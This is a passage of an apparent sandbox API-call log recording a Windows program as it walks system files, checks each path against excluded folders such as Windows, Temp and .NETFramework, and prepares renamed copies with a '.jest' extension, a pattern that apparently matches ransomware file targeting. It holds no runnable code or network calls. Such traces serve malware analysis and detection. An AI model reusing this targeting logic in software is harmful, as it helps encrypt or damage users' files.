lpMultiByteStr="wu7EXx22F-5fV9L_O6DkhKDcIVeu 8bxLAsjU s7kvkMwrisWbUaH1HC0g4MOfjQJkflcZGNaqfcmwLoWsv2Ukbcu-XjiPhXsU.tmp", lpUsedDefaultChar=0x0) returned 103 [0121.164] GetFullPathNameA (in: lpFileName="wu7EXx22F-5fV9L_O6DkhKDcIVeu 8bxLAsjU s7kvkMwrisWbUaH1HC0g4MOfjQJkflcZGNaqfcmwLoWsv2Ukbcu-XjiPhXsU.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wu7EXx22F-5fV9L_O6DkhKDcIVeu 8bxLAsjU s7kvkMwrisWbUaH1HC0g4MOfjQJkflcZGNaqfcmwLoWsv2Ukbcu-XjiPhXsU.tmp", lpFilePart=0x18e6e4*="wu7EXx22F-5fV9L_O6DkhKDcIVeu 8bxLAsjU s7kvkMwrisWbUaH1HC0g4MOfjQJkflcZGNaqfcmwLoWsv2Ukbcu-XjiPhXsU.tmp") returned 0x8c [0121.164] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wu7EXx22F-5fV9L_O6DkhKDcIVeu 8bxLAsjU s7kvkMwrisWbUaH1HC0g4MOfjQJkflcZGNaqfcmwLoWsv2Ukbcu-XjiPhXsU.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x45377577, cFileName="Xx22F-5fV9L_O6DkhKDcIVeu 8bxLAsjU s7kvkMwrisWbUaH1HC0g4MOfjQJkflcZGNaqfcmwLoWsv2Ukbcu-XjiPhXsU.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0121.164] GetLastError () returned 0x2 [0121.164] GetLastError () returned 0x2 [0121.164] SetLastError (dwErrCode=0x2) [0121.165] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.165] lstrcpynW (in: lpString1=0x14cf144, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_keypadbase.xml_be056c50", iMaxLength=124 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_keypadbase.xml_be056c50") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_keypadbase.xml_be056c50" [0121.165] lstrcpynW (in: lpString1=0x14b498c, lpString2="keypadbase.xmlİ", iMaxLength=15 | out: lpString1="keypadbase.xml") returned="keypadbase.xml" [0121.165] lstrcpynW (in: lpString1=0x14cf144, lpString2="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76", iMaxLength=116 | out: lpString1="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76") returned="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76" [0121.165] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\keypadbase.xml", cchLength=0x85 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\keypadbase.xml") returned 0x85 [0121.165] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0121.165] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\keypadbase.xml", cchLength=0x85 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\keypadbase.xml") returned 0x85 [0121.166] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0121.166] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\keypadbase.xml", cchLength=0x85 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\keypadbase.xml") returned 0x85 [0121.166] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0121.166] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\keypadbase.xml", cchLength=0x85 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\keypadbase.xml") returned 0x85 [0121.166] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0121.166] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\keypadbase.xml", cchLength=0x85 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\keypadbase.xml") returned 0x85 [0121.166] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0121.167] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\keypadbase.xml", cchLength=0x85 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\keypadbase.xml") returned 0x85 [0121.167] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0121.167] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.167] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.167] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.167] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.167] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.167] lstrcpynW (in: lpString1=0x144bb04, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_kor-kor.xml_35ecd9ba", iMaxLength=121 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_kor-kor.xml_35ecd9ba") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_kor-kor.xml_35ecd9ba" [0121.167] lstrcpynW (in: lpString1=0x14da79c, lpString2="kor-kor.xml", iMaxLength=12 | out: lpString1="kor-kor.xml") returned="kor-kor.xml" [0121.167] lstrcpynW (in: lpString1=0x144bb04, lpString2="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad", iMaxLength=70 | out: lpString1="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad") returned="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad" [0121.168] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", cchLength=0x54 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 0x54 [0121.168] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0121.168] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", cchLength=0x54 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 0x54 [0121.168] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0121.168] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", cchLength=0x54 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 0x54 [0121.168] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0121.168] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", cchLength=0x54 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 0x54 [0121.168] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0121.169] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", cchLength=0x54 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 0x54 [0121.169] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0121.169] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", cchLength=0x54 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 0x54 [0121.169] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0121.169] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.169] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.169] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.169] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.169] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.171] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", lpFilePart=0x18e870*="kor-kor.xml") returned 0x53 [0121.198] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.jest", lpFilePart=0x18e870*="kor-kor.xml.jest") returned 0x58 [0121.201] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", lpFilePart=0x18e6d8*="kor-kor.xml") returned 0x53 [0121.201] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x5c, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0x143ce48 [0121.201] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0121.202] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.202] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", lpFilePart=0x18e780*="kor-kor.xml") returned 0x53 [0121.202] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.203] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", lpFilePart=0x18e780*="kor-kor.xml") returned 0x53 [0121.203] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.203] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x360)) [0121.203] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0121.203] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x360)) [0121.203] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x360)) [0121.203] GetUserDefaultLCID () returned 0x409 [0121.203] VarBstrFromR4 (in: fltIn=0x479442ef, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75909.87") returned 0x0 [0121.204] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", lpFilePart=0x18e780*="kor-kor.xml") returned 0x53 [0121.204] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.204] GetCurrentProcessId () returned 0x9e0 [0121.204] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0121.204] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0121.206] GetFullPathNameA (in: lpFileName="_TVLDwWQts DQ Oi5o0yuHA6Q-ElCKGHzF_d9xkFS7Z23YOV9CelcMMt78fkXhJLnWsZkjTBrIzYF uj535gOi3vEW4MUi PmLO.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_TVLDwWQts DQ Oi5o0yuHA6Q-ElCKGHzF_d9xkFS7Z23YOV9CelcMMt78fkXhJLnWsZkjTBrIzYF uj535gOi3vEW4MUi PmLO.tmp", lpFilePart=0x18e708*="_TVLDwWQts DQ Oi5o0yuHA6Q-ElCKGHzF_d9xkFS7Z23YOV9CelcMMt78fkXhJLnWsZkjTBrIzYF uj535gOi3vEW4MUi PmLO.tmp") returned 0x8e [0121.206] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", lpFilePart=0x18e708*="kor-kor.xml") returned 0x53 [0121.206] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_TVLDwWQts DQ Oi5o0yuHA6Q-ElCKGHzF_d9xkFS7Z23YOV9CelcMMt78fkXhJLnWsZkjTBrIzYF uj535gOi3vEW4MUi PmLO.tmp", cchWideChar=-1, lpMultiByteStr=0x18e6ec, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_TVLDwWQts DQ Oi5o0yuHA6Q-ElCKGHzF_d9xkFS7Z23YOV9CelcMMt78fkXhJLnWsZkjTBrIzYF uj535gOi3vEW4MUi PmLO.tmp", lpUsedDefaultChar=0x0) returned 105 [0121.206] GetFullPathNameA (in: lpFileName="_TVLDwWQts DQ Oi5o0yuHA6Q-ElCKGHzF_d9xkFS7Z23YOV9CelcMMt78fkXhJLnWsZkjTBrIzYF uj535gOi3vEW4MUi PmLO.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_TVLDwWQts DQ Oi5o0yuHA6Q-ElCKGHzF_d9xkFS7Z23YOV9CelcMMt78fkXhJLnWsZkjTBrIzYF uj535gOi3vEW4MUi PmLO.tmp", lpFilePart=0x18e6e4*="_TVLDwWQts DQ Oi5o0yuHA6Q-ElCKGHzF_d9xkFS7Z23YOV9CelcMMt78fkXhJLnWsZkjTBrIzYF uj535gOi3vEW4MUi PmLO.tmp") returned 0x8e [0121.206] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_TVLDwWQts DQ Oi5o0yuHA6Q-ElCKGHzF_d9xkFS7Z23YOV9CelcMMt78fkXhJLnWsZkjTBrIzYF uj535gOi3vEW4MUi PmLO.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4c56545f, cFileName="DwWQts DQ Oi5o0yuHA6Q-ElCKGHzF_d9xkFS7Z23YOV9CelcMMt78fkXhJLnWsZkjTBrIzYF uj535gOi3vEW4MUi PmLO.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0121.207] GetLastError () returned 0x2 [0121.207] GetLastError () returned 0x2 [0121.207] SetLastError (dwErrCode=0x2) [0121.207] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.207] lstrcpynW (in: lpString1=0x14cf24c, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_base.xml_03ba99d8", iMaxLength=118 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_base.xml_03ba99d8") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_base.xml_03ba99d8" [0121.207] lstrcpynW (in: lpString1=0x14da79c, lpString2="base.xml", iMaxLength=9 | out: lpString1="base.xml") returned="base.xml" [0121.208] lstrcpynW (in: lpString1=0x14cf24c, lpString2="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main", iMaxLength=68 | out: lpString1="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main") returned="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main" [0121.208] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", cchLength=0x4f | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 0x4f [0121.208] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0121.208] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", cchLength=0x4f | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 0x4f [0121.208] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0121.208] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", cchLength=0x4f | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 0x4f [0121.209] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0121.209] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", cchLength=0x4f | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 0x4f [0121.209] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0121.209] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", cchLength=0x4f | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 0x4f [0121.209] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0121.209] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", cchLength=0x4f | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 0x4f [0121.209] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0121.209] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.209] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.209] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.210] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.210] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.212] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", lpFilePart=0x18e870*="base.xml") returned 0x4e [0121.220] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml.jest", lpFilePart=0x18e870*="base.xml.jest") returned 0x53 [0121.222] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", lpFilePart=0x18e6d8*="base.xml") returned 0x4e [0121.222] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x5c, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 0x143ce48 [0121.222] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0121.223] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.223] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", lpFilePart=0x18e780*="base.xml") returned 0x4e [0121.223] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.224] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft 